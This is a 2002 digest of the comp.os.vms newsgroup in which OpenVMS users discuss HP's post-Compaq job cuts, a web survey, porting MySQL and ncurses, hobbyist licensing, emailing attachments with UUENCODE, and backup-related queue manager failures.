swdev.si.comt= 3290 Patterson Ave. SE, MS      Addresses modified to prevent < Grand Rapids, MI 49512-1991     SPAM.  Replace "at" with "@"8        This opinion doesn't represent that of my company   ------------------------------  % Date: Wed, 25 Sep 2002 20:23:14 +0200 " From: "Hans Vlems" <hvlems@iae.nl>/ Subject: Re: How to run a C program on VAX/VMS?-5 Message-ID: <amsuv5$8tvjg$1@ID-143435.news.dfncis.de>R   [snip]D > So, the more correct concept is to "compile and link", even though= > UN*X-land frequently compresses that down to a single step.G >gK The Burroughs MCP also has compilers that generate executable code. In fact.L there's no linker (or loader) on the system. The MCP does have an ability toJ combine separately compiled program elements, called the BINDER. BINDER isJ also capable of replacing procedures from an existing codefile with a new,L separately compiled version. Which was a neat thing if you had a big program and little cpu time to burn.J I learned to program on a B6700 and was quite surprised that the result of .FORT TEST.FOR% did not work with the RUN command....    Hans   ------------------------------    Date: 25 Sep 2002 13:56:07 -0600; From: kaplow_r@eisner.encompasserve.org.TRABoD (Bob Kaplow)eS Subject: Re: HP ETS: Irrelevant To Enterprise Resellers, says one Grand Fromage.... 3 Message-ID: <7gtVQ9z3U87A@eisner.encompasserve.org>,  s In article <JQck9.395008$kp.1185182@rwcrnsc52.ops.asp.att.net>, "Terry C. Shannon" <terryshannon@attbi.com> writes:-M > He used this as an excuse to prevent an enterprise-certified sales rep fromeN > attending HP ETS2002, even though the individual in question had access to aH > free admission, a free place to stay, and intended to travel by car to > attend the event.p  K I'll be glad to attend in his place, under the same terms and conditions...     1 	26-October, 2001: A day that will live in infamy 4 	Support Freedom: http://www.indefenseoffreedom.org/  K         This is a country which stands tallest in troubled times, a country K         that clings to fundamental principles, cherishes its constitutionaluI         heritage, and rejects simple solutions that compromise the valuesyH         that lie at the roots of our democratic system. -- Supreme Court(         Justice Thurgood Marshall, 1972    ------------------------------  % Date: Wed, 25 Sep 2002 03:28:36 -04000- From: JF Mezei <jfmezei.spamnot@videotron.ca>.Y Subject: Re: HP ETS: Irrelevant To Enterprise Resellers, says one Grand Fromage.... Fromav, Message-ID: <3D916598.37DD8BF0@videotron.ca>   "Terry C. Shannon" wrote:a > M > So sayeth the Grand Fromage of an HP reseller in the southwestern USA. SaideK > Fromage maintained that the lack of highly-visible public statements frome9 > Senior Compaq managers makes this indubitibly obvious. t  N Perhaps a result of the Carly/Curly statements on May 7th that new sales wouldK go to HP-UX and that alpha based systems would only be targeted at existingv customers ?S  L If a reseller feels that the DECUS (or whatever the name is this week) eventN won't attract new customers because Compaq/HP's statememts, then why spend the$ money toparticipate in such a show ?  N And if the reseller makes a vert plublic statement to that effect, perhaps theM bozos who head HP might wake-up and see how stupid the policies annoucned mayg 7th truly are.   ------------------------------  % Date: Wed, 25 Sep 2002 14:26:30 -0400?- From: JF Mezei <jfmezei.spamnot@videotron.ca>hY Subject: Re: HP ETS: Irrelevant To Enterprise Resellers, says one Grand Fromage.... FromaG, Message-ID: <3D91FFD3.DC23C66F@videotron.ca>   Sue Skonetski wrote:N > I think the fact that Michael Capellas is speaking says that HP is committed > to this event.    L Sorry to be blunt Sue, but I hold no respect for Capellas. In my opinion, heM is only going there because he has to. If I were going to the conference, hisi presence would be a negative.t  N is Carly going ? You'd think that a "new" CEO would want to have contacts withM its new customers and get a feel for what the stiff she just bought is reallylG like.  Perhaps she might change her mind about VMS and realise how much K capellas screwed and squandered that valuable product. But by sending CurlyoN there, you are ensured that Carly will never know the truth because Curly will) always give Carly his own opinion of VMS.-   ------------------------------  % Date: Wed, 25 Sep 2002 17:18:55 -0400 - From: JF Mezei <jfmezei.spamnot@videotron.ca>n  Subject: HP to increase job cuts, Message-ID: <3D922831.393923B8@videotron.ca>  L Why am I not surprised ? Oh, and by the way, Dell announced yesterday a dealN with lexmark to sell/market printers. Perhaps HP's sacred cow (printers) isn't so sacred anymore.     ##   Associated Press  J   SAN JOSE, Calif. -- Hewlett-Packard Co. (HPQ) said Wednesday it will cutM 1,800 jobs beyond the 15,000 reductions planned as part of its acquisition ofs Compaq Computer Corp.h  D   In a note sent to employees Tuesday, the company blamed the latestL reductions on a "continued  market slowdown and H-P's clear intent to have a) competitive, world-class cost structure."   K   As of the third quarter, which ended July 31, the company had reduced itsoN headcount by 4,740. The remaining cuts, totaling about 12,000, are expected toF be completed by Oct. 31, the end of the company's current fiscal year.  M   Like other high-tech companies, Palo Alto, Calif.-based Hewlett-Packard has N been hit hard by a  slowdown in spending by large corporate customers, a slumpN that has lasted longer than initially expected. The company's bottom line alsoM has suffered, because of weak demand for personal computers. Its printing andlO imaging division, however, continues to do well, despite the economic downturn.   J   In the letter to employees, H-P executives said the company continues to5 hire in some areas,  including printing and services.:  M   The billion-dollar merger with Houston-based Compaq closed in May after oneeL of the most ferocious proxy battles in U.S. corporate history. Combined, the  companies had 150,000 employees.   ------------------------------  # Date: Wed, 25 Sep 2002 22:16:25 GMTy* From: "Bill Todd" <billtodd@metrocast.net>$ Subject: Re: HP to increase job cutsC Message-ID: <ZAqk9.278030$z91.12032577@bin3.nnrp.aus1.giganews.com>i  5 "Bill Todd" <billtodd@metrocast.net> wrote in messageo= news:5hqk9.287962$AR1.12312377@bin2.nnrp.aus1.giganews.com...d > < > "JF Mezei" <jfmezei.spamnot@videotron.ca> wrote in message( > news:3D922831.393923B8@videotron.ca...K > > Why am I not surprised ? Oh, and by the way, Dell announced yesterday a  > dealL > > with lexmark to sell/market printers. Perhaps HP's sacred cow (printers) > isn'tE > > so sacred anymore. > >2 > >3 > > ## > >r > > Associated Press > >gJ > >   SAN JOSE, Calif. -- Hewlett-Packard Co. (HPQ) said Wednesday it will cutuB > > 1,800 jobs beyond the 15,000 reductions planned as part of its acquisition  > of > > Compaq Computer Corp.y > >cH > >   In a note sent to employees Tuesday, the company blamed the latestI > > reductions on a "continued  market slowdown and H-P's clear intent to5 have > a9- > > competitive, world-class cost structure."s > >uK > >   As of the third quarter, which ended July 31, the company had reduced. > itsuF > > headcount by 4,740. The remaining cuts, totaling about 12,000, are
 > expected to1J > > be completed by Oct. 31, the end of the company's current fiscal year. >vK > If the above is correct rather than just fuzzy reporting, it represents asL > considerably more major change in the cuts than it might appear to.  UntilI > now, the stated target for total cuts by the end of the fiscal year wasnH > 10,000, with the balance (another 5000) to come later, so not only areK > additional jobs getting the axe but the schedule seems to have been moved  upK > drastically (which, of course, paves the way for even more cuts beginningu5 > after Halloween, with Carly in full witch regalia).h  B However, it looks as if it was indeed just reporting incompetence: Computerworld's articlen  L http://computerworld.com/careertopics/careers/labor/story/0,10801,74567,00.hJ tml ) on the subject says the planned cuts remain the same for this fiscal@ year (10,000) with the balance to be completed next fiscal year.   - bill   ------------------------------  # Date: Wed, 25 Sep 2002 21:55:13 GMT * From: "Bill Todd" <billtodd@metrocast.net>$ Subject: Re: HP to increase job cutsC Message-ID: <5hqk9.287962$AR1.12312377@bin2.nnrp.aus1.giganews.com>t  : "JF Mezei" <jfmezei.spamnot@videotron.ca> wrote in message& news:3D922831.393923B8@videotron.ca...I > Why am I not surprised ? Oh, and by the way, Dell announced yesterday a  dealJ > with lexmark to sell/market printers. Perhaps HP's sacred cow (printers) isn'tn > so sacred anymore. >w >  > ## >w > Associated Press >nL >   SAN JOSE, Calif. -- Hewlett-Packard Co. (HPQ) said Wednesday it will cutL > 1,800 jobs beyond the 15,000 reductions planned as part of its acquisition of > Compaq Computer Corp.a >nF >   In a note sent to employees Tuesday, the company blamed the latestL > reductions on a "continued  market slowdown and H-P's clear intent to have ae+ > competitive, world-class cost structure."l >rI >   As of the third quarter, which ended July 31, the company had reduceda itsuD > headcount by 4,740. The remaining cuts, totaling about 12,000, are expected to H > be completed by Oct. 31, the end of the company's current fiscal year.  I If the above is correct rather than just fuzzy reporting, it represents a J considerably more major change in the cuts than it might appear to.  UntilG now, the stated target for total cuts by the end of the fiscal year was F 10,000, with the balance (another 5000) to come later, so not only areL additional jobs getting the axe but the schedule seems to have been moved upI drastically (which, of course, paves the way for even more cuts beginning-3 after Halloween, with Carly in full witch regalia).    - bill   ------------------------------   Date: 25 Sep 2002 20:36 CDTg' From: carl@gerg.tamu.edu (Carl Perkins)0$ Subject: Re: HP to increase job cuts- Message-ID: <25SEP200220360262@gerg.tamu.edu>s  1 JF Mezei <jfmezei.spamnot@videotron.ca> writes...hM }Why am I not surprised ? Oh, and by the way, Dell announced yesterday a dealcO }with lexmark to sell/market printers. Perhaps HP's sacred cow (printers) isn'ty }so sacred anymore.e }  }  }##  }  }Associated Presse } K }  SAN JOSE, Calif. -- Hewlett-Packard Co. (HPQ) said Wednesday it will cut,N }1,800 jobs beyond the 15,000 reductions planned as part of its acquisition of }Compaq Computer Corp. } E }  In a note sent to employees Tuesday, the company blamed the latesteM }reductions on a "continued  market slowdown and H-P's clear intent to have ai* }competitive, world-class cost structure."  C They can get the most amazingly competitive cost structure possible" if they just fire everybody.   Or perhaps not.n   --- Carl   ------------------------------  % Date: Wed, 25 Sep 2002 23:21:10 -0400e- From: JF Mezei <jfmezei.spamnot@videotron.ca>y$ Subject: Re: HP to increase job cuts, Message-ID: <3D927D19.C735664A@videotron.ca>   Carl Perkins wrote: E > They can get the most amazingly competitive cost structure possiblee > if they just fire everybody.    K Shouldn't Carly have simply annouced that she would be accelerating the jobcN cuts , cutting 1700 more jobs than expected in this fiscal year ? And then, ifN the economy doesn't pickup next year, then she could have announced additional	 job cuts.   N What the announcement states is that Carly&Curly had underestimated the numberM of necessary job cuts and sends the message that the original "firm" plan forAL integration made by a very confident carly will have to be changed along the( road because her predictions were wrong.  J had she announced just an acceleration of job cuts, it would make made herV intregration plan look even better since it was being implemented faster than planned.   ------------------------------  % Date: Wed, 25 Sep 2002 01:45:06 -0400 - From: JF Mezei <jfmezei.spamnot@videotron.ca>e% Subject: Re: HP to push .NET big timea, Message-ID: <3D914D5E.A2312D3F@videotron.ca>   "Terry C. Shannon" wrote:eG > Color me stupid, but might this be a way for Microsoft to achieve its 6 > ambition of RENTING software rather than selling it?  L But isn't that the main goal of .NET to begin with ? I had always understood" that this was the purpose of .NET.   ------------------------------  # Date: Wed, 25 Sep 2002 17:55:09 GMT 1 From: "Terry C. Shannon" <terryshannon@attbi.com> % Subject: Re: HP to push .NET big timeT? Message-ID: <1Mmk9.400015$kp.1185895@rwcrnsc52.ops.asp.att.net>n  0 "John Vottero" <John@mvpsi.com> wrote in message) news:up3q9mp38gchec@news.supernews.com...r< > "JF Mezei" <jfmezei.spamnot@videotron.ca> wrote in message( > news:3D914D5E.A2312D3F@videotron.ca... > > "Terry C. Shannon" wrote:pK > > > Color me stupid, but might this be a way for Microsoft to achieve itse: > > > ambition of RENTING software rather than selling it? > >fE > > But isn't that the main goal of .NET to begin with ? I had alwaysa > understood& > > that this was the purpose of .NET. >yI > That is a common misconception.  .NET is a new development environment.  Newr8 > from the ground up.  I wish VMS had something similar.  L Thanks for the clarification. THe two-year old internal document baffled the hell out of me!    ------------------------------  % Date: Wed, 25 Sep 2002 11:30:25 -0700a, From: "James Gessling" <jgessling@yahoo.com>: Subject: Re: I can't get to http://www.openvms.compaq.com/4 Message-ID: <amsvc2$91mms$1@ID-46415.news.dfncis.de>  C Working fine now.  I believe is was a DNS issue, worried me that HPm1 might have made some mistake converting to hp.comc   Jimu  7 "James Gessling" <jgessling@yahoo.com> wrote in message6. news:amskg8$8ref4$1@ID-46415.news.dfncis.de... > Is it just me? >t > Jim  >  >i   ------------------------------    Date: 25 Sep 2002 11:53:20 -0600- From: koehler@encompasserve.org (Bob Koehler)f: Subject: Re: I can't get to http://www.openvms.compaq.com/3 Message-ID: <2zlo$m8PxWKY@eisner.encompasserve.org>a  c In article <amskg8$8ref4$1@ID-46415.news.dfncis.de>, "James Gessling" <jgessling@yahoo.com> writes:A > Is it just me? >  > Jimi  E    Fine here in MD.  But I have had some interesting problems betweenhE    here and CO today.  FTP connections fail on the first try, work on-    the second.     ------------------------------  % Date: Wed, 25 Sep 2002 02:01:07 -0400p4 From: "Mark Buda" <buda@tabasco.zko.dec.no.spam.com>* Subject: Re: License issue with cluster..., Message-ID: <amrjh2$di3i$1@lead.zk3.dec.com>  : "John Clausen" <jclausen@co.walker.tx.us> wrote in message) news:JCmh9.3$w5.66946@news.randori.com...tF > I am using a Hobbyist license for OpenVMS and would like to set up a cluster. > C > Creating the cluster is not a problem, however I loose my VAX-VMSh license when > I do.  >o? > Is the Hobbyist licensing just now going to work, or is theren something I am
 > missing.  H Can you do a LICENSE LIST VAX-VMS command on both nodes?  I take it SHOW7 LICENSE VAX-VMS does not show a license for both nodes.n   mark   ------------------------------    Date: 26 Sep 2002 02:43:58 +0800, From: Paul Repacholi <prep@prep.synonet.com>! Subject: Re: Marketing suggestionE- Message-ID: <87adm5j4ep.fsf@prep.synonet.com>u  3 "David J. Dachtera" <djesys.nospam@fsi.net> writes:s  A > My '87 Taurus wagon got just around 20 MPG fairly consistently.l  B My `63 Landcruser would do 24 MPG for anything except towing stuff: around the farm in 4WD all the time. Bigger gallon though.   -- e< Paul Repacholi                               1 Crescent Rd.,7 +61 (08) 9257-1001                           Kalamunda. @                                              West Australia 6076. Raw, Cooked or Well-done, it's all half baked.F EPIC, The Architecture of the future, always has been, always will be.   ------------------------------  % Date: Tue, 24 Sep 2002 16:19:01 -0600t% From: Dan O'Reilly <dano@process.com>h Subject: Re: MySQL for VMS?TB Message-ID: <5.1.0.14.2.20020924161759.00affb88@raptor.psccos.com>  L The author (me) does indeed still work at Process, but he's also on vacationE and/or at DECUS until mid-October.  I'm writing this from the road inhK Lebanon, TN, so no access to my other systems where I have this stuff.  So,e" if you can wait for a few weeks...  ) At 09:52 AM 9/24/2002, Chris Olive wrote:fG >Michiel Erens <I.dont.want.spam@this.mailaddress.is.invalid> wrote in  < >message news:<3D8F6926.3FB0@this.mailaddress.is.invalid>... > > Chris Olive wrote: > > >nI > > > I'm a fairly frequent user of MySQL on *nix, and would like to havehF > > > the same available in VMS.  I've wanted to port MySQL to VMS for? > > > years, but never have the time (and probably never will.)  > > >aG > > > I noticed in 1999 here in comp.os.vms one Dan O'Reilly of ProcessaI > > > announced a MySQL client for Alpha VMS, but there was no mention of L > > > how to get it, or anything beyond that.  Anyone have any details as toK > > > whether this is available at all?  I wrote Dan privately, but thoughtt) > > > I would poke around here as well...  > > ' > > It is avaliable at (URL may wrap) :eO > > http://mysql.holywar.net/Downloads/MySQL-3.22/mysql-3.22.25-clients-vms.zipg > > See also the text at : > > P > http://mysql.holywar.net/Downloads/MySQL-3.22/mysql-3.22.25-clients-vms.readme > >h3 > > I also saw this posting a couple of weeks ago :oK > >  http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&th=a76c5f6529524f3dm >dG >Well, bummer.  The Alpha images were built on VMS v7.2 and I'm runninggC >Alpha VMS v7.1 (I know it's way behind, but I have no control over < >that), so I'm getting sharable image ident mismatch errors: >-# >Error activating image PTHREAD$RTLM? >Image file OMEGA$DKB5:[SYS0.SYSCOMMON.][SYSLIB]PTHREAD$RTL.EXE-$ >Ident mismatch with shareable image >:( >Unless someone knows a way around this? > F >I'll try and get ahold of the author, although he hasn't yet answeredG >my FIRST message, so I'm not even sure if he still works at Process orD >not...o >m >Chris   ------J +-------------------------------+----------------------------------------+J | Dan O'Reilly                  |  "There are 10 types of people in this |J | Principal Engineer            |   world: those who understand binary   |J | Process Software              |   and those who don't."                |J | http://www.process.com        |                                        |J +-------------------------------+----------------------------------------+   ------------------------------  # Date: Thu, 26 Sep 2002 01:28:26 GMT51 From: "David J. Dachtera" <djesys.nospam@fsi.net>o0 Subject: Re: New Miss America - Miss Ill-a-Noise' Message-ID: <3D926875.434AA992@fsi.net>w   Leonard Fehskens wrote:R > 6 > "David J. Dachtera" <djesys.nospam@fsi.net> wrote in! > news:3D8FC410.B3C791BE@fsi.net:o > I > > They probably also say "Maw-nah LO" instead of "mah-Ooh-nah LO-ah" ort% > > "Mah-we" instead of "mah-OOH-ee".t  E Actually, I was wrong - the accent goes on the antepenult. MAH-Ooh-ee   = > How could you overlook Hah-nah-loo-loo for Hoh-noh-loo-loo?   F Those are just repeating patterns of consonant+vowel. For most EnglishB speakers, the hard part is to remember that some languages have no silent letters.    -- t David J. Dachteraw dba DJE Systems. http://www.djesys.com/  ( Unofficial Affordable OpenVMS Home Page: http://www.djesys.com/vms/soho/    ------------------------------  # Date: Thu, 26 Sep 2002 01:46:37 GMT-1 From: "David J. Dachtera" <djesys.nospam@fsi.net>- Subject: Re: opensource mail' Message-ID: <3D926CB5.81486A2B@fsi.net>g   Brian Tillman wrote: > F > >Is there an opensource program available that can send mail with an: > >attachment using multinet protocol on OpenVms V6.2-1H3? > . > With UUENCODE and some DCL it's easy.  Here: >  > $!  MAIL_ATTACHMENT.COM E > $!  This procedure mails an attachment using UUENCODE and VMS Mail.u  = I found some problems with that. .ZIP archives get scrambled.   B The trick seems to be to simply COPY them (or anything else that'sH fixed-512) and then "lie about" the attributes: use SET FILE/ATTR to setC the attributes of the copy to RFM=STMLF, then UUENCODE that, and itd UUDECODEs just fine.  9 Text files and such, yes, must be CONVERTed to Stream_LF.   G Also, found out that the TCPIP$UU%%CODE.EXE and UCX$UU%%CODE.EXE imagesoD can be made to work, also. Just need more code around 'em to get the) filename correct in the UUENCODED output.    --   David J. Dachteras dba DJE Systemso http://www.djesys.com/  ( Unofficial Affordable OpenVMS Home Page: http://www.djesys.com/vms/soho/t   ------------------------------  # Date: Wed, 25 Sep 2002 17:50:07 GMTr1 From: "Terry C. Shannon" <terryshannon@attbi.com>n, Subject: Re: OpenVMS 25th anniversary survey- Message-ID: <jHmk9.208538$Jo.80671@rwcrnsc53>   : "JF Mezei" <jfmezei.spamnot@videotron.ca> wrote in message& news:3D90E985.AF82C146@videotron.ca... > Paul Sture wrote:- > >-8 > > For those who haven't noticed, A new survey is up at' > > http://openvms.compaq.com, entitledp >f) > it is http://www.openvms.compaq.com ...e >eC > The survey is interesting, but I chose not to answer it. It seems 
 structuredL > more towards a single CIO for a single company versus consultants who have > worked multiple sites.  F Correct. It should have been tested on a broad array of customers withG different backgrounds. You, I, and Bob Kaplow seem to fit this profile.n  7 I answered what I could, but it wasn't a heck of a lot!o   ------------------------------   Date: 25 SEP 2002 16:37:36 GMT4 From: karcher@thuria.waisman.wisc.edu (Carl Karcher), Subject: Re: OpenVMS 25th anniversary survey2 Message-ID: <25SEP02.16373694@thuria.waisman.wisc>  B -> On Netscape 4.79, *both* radio buttons (for some questions) are# -> selected, and I can't deselect !A  ( But amazingly, Mozilla 1.1 worked fine!    --G -- Carl Karcher, Waisman Computing Services, Waisman Center, UW-Madison09 --                  karcher.nomorespam@waisman.wisc.edu  i   ------------------------------    Date: 25 Sep 2002 13:44:15 -0600- From: Kilgallen@SpamCop.net (Larry Kilgallen)r, Subject: Re: OpenVMS 25th anniversary survey3 Message-ID: <MGdUwhxg6TQB@eisner.encompasserve.org>l  i In article <25SEP02.16373694@thuria.waisman.wisc>, karcher@thuria.waisman.wisc.edu (Carl Karcher) writes:mD > -> On Netscape 4.79, *both* radio buttons (for some questions) are% > -> selected, and I can't deselect !i > * > But amazingly, Mozilla 1.1 worked fine!    	http://validator.w3.org/0   finds 87 errors for me inh  7 	http://www.openvms.compaq.com/openvms/25th/survey.htmlr   ------------------------------  % Date: Wed, 25 Sep 2002 11:07:24 +0100m( From: Nic Clews <sendspamhere@127.0.0.1>, Subject: Re: OpenVMS 25th anniversary survey) Message-ID: <3D918ADC.E4F05524@127.0.0.1>    Kenneth Farmer wrote:m >  > 8 > http://www.openvms.compaq.com/openvms/25th/survey.html  ? On Netscape 4.79, *both* radio buttons (for some questions) are   selected, and I can't deselect !  D I'll try LYNX... Oh, appears to work, seems my face doesn't fit if I% happen to use 4.79 of Netscape. Sigh.    -- f? Regards, Nic Clews a.k.a. Mr. CP Charges, CSC Computer Scienceso nclews at csc dot com    ------------------------------  % Date: Wed, 25 Sep 2002 13:53:55 -0400v- From: JF Mezei <jfmezei.spamnot@videotron.ca>B, Subject: Re: OpenVMS 25th anniversary survey, Message-ID: <3D91F832.44F7B03B@videotron.ca>   Nic Clews wrote:: > > http://www.openvms.compaq.com/openvms/25th/survey.html > A > On Netscape 4.79, *both* radio buttons (for some questions) areV" > selected, and I can't deselect !  N 4.79 on mac, both radio buttons were selected, but clicking on one resulted in! the other one deselecting itself.a   ------------------------------   Date: 26 Sep 02 06:45:01 +0200) From: p_sture@elias.decus.ch (Paul Sture)>, Subject: Re: OpenVMS 25th anniversary survey) Message-ID: <IGFbai5nX+u8@elias.decus.ch>   a In article <jHmk9.208538$Jo.80671@rwcrnsc53>, "Terry C. Shannon" <terryshannon@attbi.com> writes:m > < > "JF Mezei" <jfmezei.spamnot@videotron.ca> wrote in message( > news:3D90E985.AF82C146@videotron.ca... >> Paul Sture wrote: >> >9 >> > For those who haven't noticed, A new survey is up ati( >> > http://openvms.compaq.com, entitled >>* >> it is http://www.openvms.compaq.com ... >>D >> The survey is interesting, but I chose not to answer it. It seems > structuredM >> more towards a single CIO for a single company versus consultants who have  >> worked multiple sites.t > H > Correct. It should have been tested on a broad array of customers withI > different backgrounds. You, I, and Bob Kaplow seem to fit this profile.o > 9 > I answered what I could, but it wasn't a heck of a lot!  >   7 I answered what I could too, from the perspective of mys# current position,  but for example:t  A "How many nodes in your cluster?" - Now which of several clustersa would that be?  ? Itanium questions - I haven't a clue what our senior managementn think of it.    ) __
 Paul Sture Switzerland    ------------------------------  % Date: Wed, 25 Sep 2002 18:48:26 +0200i9 From: "Bernard Giroud" <bernard.giroud@creditlyonnais.fr> - Subject: Port of a recent Ncurses lib for AXPg2 Message-ID: <3d91e950$0$225$626a54ce@news.free.fr>  9 We envisage to use curses for an application on OVMS/AXP. 9 Some features are absent from the standard DEC C RTL, but- present in ncurses.-  < Before starting the port ourselves, we would be delighted to9 just download patches for sources and recompile the whole  thing.  	 Any hint?-   Thanks in advance,   ------------------------------  % Date: Wed, 25 Sep 2002 09:05:11 -0400E5 From: "Sue Skonetski" <susan.skonetski@hp.nospam.com>mY Subject: Press Release  LEGATO Teams with HP To Release An Industry-First For Backup And .* Message-ID: <amsccf$b13$1@web1.cup.hp.com>  L http://www.legato.com/corporate_info/pressroom/press.cfm?oid=0006E61D-C306-1 D90-886280CFAB3DFFFF      L LEGATO Teams with HP To Release An Industry-First For Backup And Recovery Of OpenVMS ServersnF OpenVMS Customers Who Select the LEGATO NetWorker Solution to Receive  Direct Technical Support from HP      L Mountain View, CA, September 24, 2002 - LEGATO Systems, Inc. (NASDAQ: LGTO),I a worldwide leader in enterprise content and storage management software,MI announces that it is teaming with HP to provide data protection solutions F for HP AlphaServer systems running the OpenVMS operating system . As aK result, LEGATO will deliver NetWorker Storage Node and NetWorker Client foroJ OpenVMS, and HP will support customers who select the new LEGATO solution.  K Marking an industry first is the LEGATO NetWorker Storage Node for OpenVMS.lI With the Storage Node, backups of AlphaServer systems running OpenVMS and K OpenVMS Clusters will now be done directly to SCSI or shared fibre-attached H backup devices in a heterogeneous environment. Until this time customersI could not deploy OpenVMS in a heterogeneous fibre-channel backup solutiondJ and share those devices with other operating systems. They could only backG up over the network or be limited to an OpenVMS-specific solution. WithaB LEGATO NetWorker, management across a heterogeneous environment isG centralized on the NetWorker Server, running on UNIX, Windows or Linux.O  L "Today's announcement demonstrates LEGATO's commitment to providing reliableJ backup and recovery solutions for HP OpenVMS customers. With HP's offer toH support their customers who prefer LEGATO NetWorker-based solutions overL their current backup solution, LEGATO is excited about the confidence HP hasI in LEGATO technology," said Richard Wendroff, vice president, HP Business1 Unit, LEGATO Systems.   K The LEGATO solution also includes the NetWorker Client for OpenVMS, backing6L up Alpha or VAX servers over the network. These new LEGATO NetWorker optionsI for OpenVMS are part of a total heterogeneous data protection package for-K enterprise customers requiring heterogeneous backup and recovery across alli
 platforms.  J "HP OpenVMS customers require industry-leading storage management solutionA options that support both direct attach and complex heterogeneouspK fibre-based SAN environments," said Mark Gorham, vice president, HP OpenVMS D Software Group. "We're pleased that our customers will have a robustI solution available to them from a reliable industry leader such as LEGATOnL that can help reduce network traffic and improve overall backup and recovery
 performance."h   About Legato  F LEGATO Systems, Inc. (NASDAQ:LGTO) delivers worldwide enterprise classG software solutions and services that keep the world's business-criticalhE information and applications available. With a direct sales force andtK through strategic partnerships and alliances, LEGATO delivers the advantagetF of business continuance through enterprise automation with informationL protection, application availability as well as content, message and storageI management solutions. The company's corporate headquarters are located ataL 2350 West El Camino Real, Mountain View, CA 94040 (650) 210-7000, fax: (650)" 210-7032, Web site: www.LEGATO.com  K Information regarding products, services and offerings may be superseded byoC subsequent documents. For the latest information and specificationslK regarding LEGATO Systems, Inc. and any of its offerings or services, pleaset> contact your local sales office or the Corporate Headquarters.   ------------------------------  % Date: Wed, 25 Sep 2002 15:15:56 -0400-5 From: "Sue Skonetski" <susan.skonetski@hp.nospam.com> Y Subject: Re: Press Release  LEGATO Teams with HP To Release An Industry-First For Backup s* Message-ID: <amt21v$mko$1@web1.cup.hp.com>  2 It provides a free Ericom license for Linux users.   The Linux promotion link:f  8 http://h30010.www3.hp.com/promotions/redhat/bundles.html  @ "Sue Skonetski" <susan.skonetski@hp.nospam.com> wrote in message$ news:amsccf$b13$1@web1.cup.hp.com... >sL http://www.legato.com/corporate_info/pressroom/press.cfm?oid=0006E61D-C306-1 > D90-886280CFAB3DFFFF >e >i > K > LEGATO Teams with HP To Release An Industry-First For Backup And Recoveryn Of > OpenVMS Servers H > OpenVMS Customers Who Select the LEGATO NetWorker Solution to Receive" > Direct Technical Support from HP >- >- >-G > Mountain View, CA, September 24, 2002 - LEGATO Systems, Inc. (NASDAQ:i LGTO),K > a worldwide leader in enterprise content and storage management software,DK > announces that it is teaming with HP to provide data protection solutions?H > for HP AlphaServer systems running the OpenVMS operating system . As aI > result, LEGATO will deliver NetWorker Storage Node and NetWorker Clientl forhL > OpenVMS, and HP will support customers who select the new LEGATO solution. >eD > Marking an industry first is the LEGATO NetWorker Storage Node for OpenVMS.K > With the Storage Node, backups of AlphaServer systems running OpenVMS ando> > OpenVMS Clusters will now be done directly to SCSI or shared fibre-attachedJ > backup devices in a heterogeneous environment. Until this time customersK > could not deploy OpenVMS in a heterogeneous fibre-channel backup solutionrL > and share those devices with other operating systems. They could only backI > up over the network or be limited to an OpenVMS-specific solution. WithnD > LEGATO NetWorker, management across a heterogeneous environment isI > centralized on the NetWorker Server, running on UNIX, Windows or Linux.e >rE > "Today's announcement demonstrates LEGATO's commitment to providinga reliableL > backup and recovery solutions for HP OpenVMS customers. With HP's offer toJ > support their customers who prefer LEGATO NetWorker-based solutions overJ > their current backup solution, LEGATO is excited about the confidence HP has K > in LEGATO technology," said Richard Wendroff, vice president, HP Businesst > Unit, LEGATO Systems.s > E > The LEGATO solution also includes the NetWorker Client for OpenVMS,n backing F > up Alpha or VAX servers over the network. These new LEGATO NetWorker optionseK > for OpenVMS are part of a total heterogeneous data protection package forbI > enterprise customers requiring heterogeneous backup and recovery acrosso allt > platforms. >aL > "HP OpenVMS customers require industry-leading storage management solutionC > options that support both direct attach and complex heterogeneousiE > fibre-based SAN environments," said Mark Gorham, vice president, HPi OpenVMSvF > Software Group. "We're pleased that our customers will have a robustK > solution available to them from a reliable industry leader such as LEGATO-E > that can help reduce network traffic and improve overall backup and< recovery > performance.": >w > About Legato > H > LEGATO Systems, Inc. (NASDAQ:LGTO) delivers worldwide enterprise classI > software solutions and services that keep the world's business-critical G > information and applications available. With a direct sales force anduC > through strategic partnerships and alliances, LEGATO delivers the.	 advantageoH > of business continuance through enterprise automation with informationF > protection, application availability as well as content, message and storageeK > management solutions. The company's corporate headquarters are located atmH > 2350 West El Camino Real, Mountain View, CA 94040 (650) 210-7000, fax: (650)m$ > 210-7032, Web site: www.LEGATO.com >0J > Information regarding products, services and offerings may be superseded byE > subsequent documents. For the latest information and specifications F > regarding LEGATO Systems, Inc. and any of its offerings or services, please@ > contact your local sales office or the Corporate Headquarters. >y >n >r >  >m >.   ------------------------------   Date: 25 Sep 02 22:50:58 +0200) From: p_sture@elias.decus.ch (Paul Sture)./ Subject: Re: QUEUE MANAGER dying during backupst) Message-ID: <G1eYftDPRF+Q@elias.decus.ch>s  i In article <24SEP02.20235440@thuria.waisman.wisc>, karcher@thuria.waisman.wisc.edu (Carl Karcher) writes:uC > In a previous article, p_sture@elias.decus.ch (Paul Sture) wrote:n > F > ->Another thought. BACKUP is very aggressive in claiming memory whenF > ->allowed to do so by a large WSQUOTA. Is the Qman being hit by this9 > ->perhaps? What is the exit status of the qman process?p > & > Which triggered yet another thought: > H > Some of the memory burned by backup is Paged Dynamic Memory (PAGEDYN).G > Especially if the files have a lot of ACL's on them (resulting in ACL H > blocks being allocated from PAGEDYN). If Pathworks is in use the filesH > in shares will have a lot of ACL's. So watch your free space in "PagedF > Dynamic Memory" using SHOW MEM/POOL when backup is running. Or lower > backup's WSQUOTA.0 > I > This is a stretch since if this were the problem your system would most:5 > likely be hung. Might be worth looking into though.r > > And of course if FILLM and CHANNELCNT are too high, there will$ be a load of nonpaged pool consumed.   __
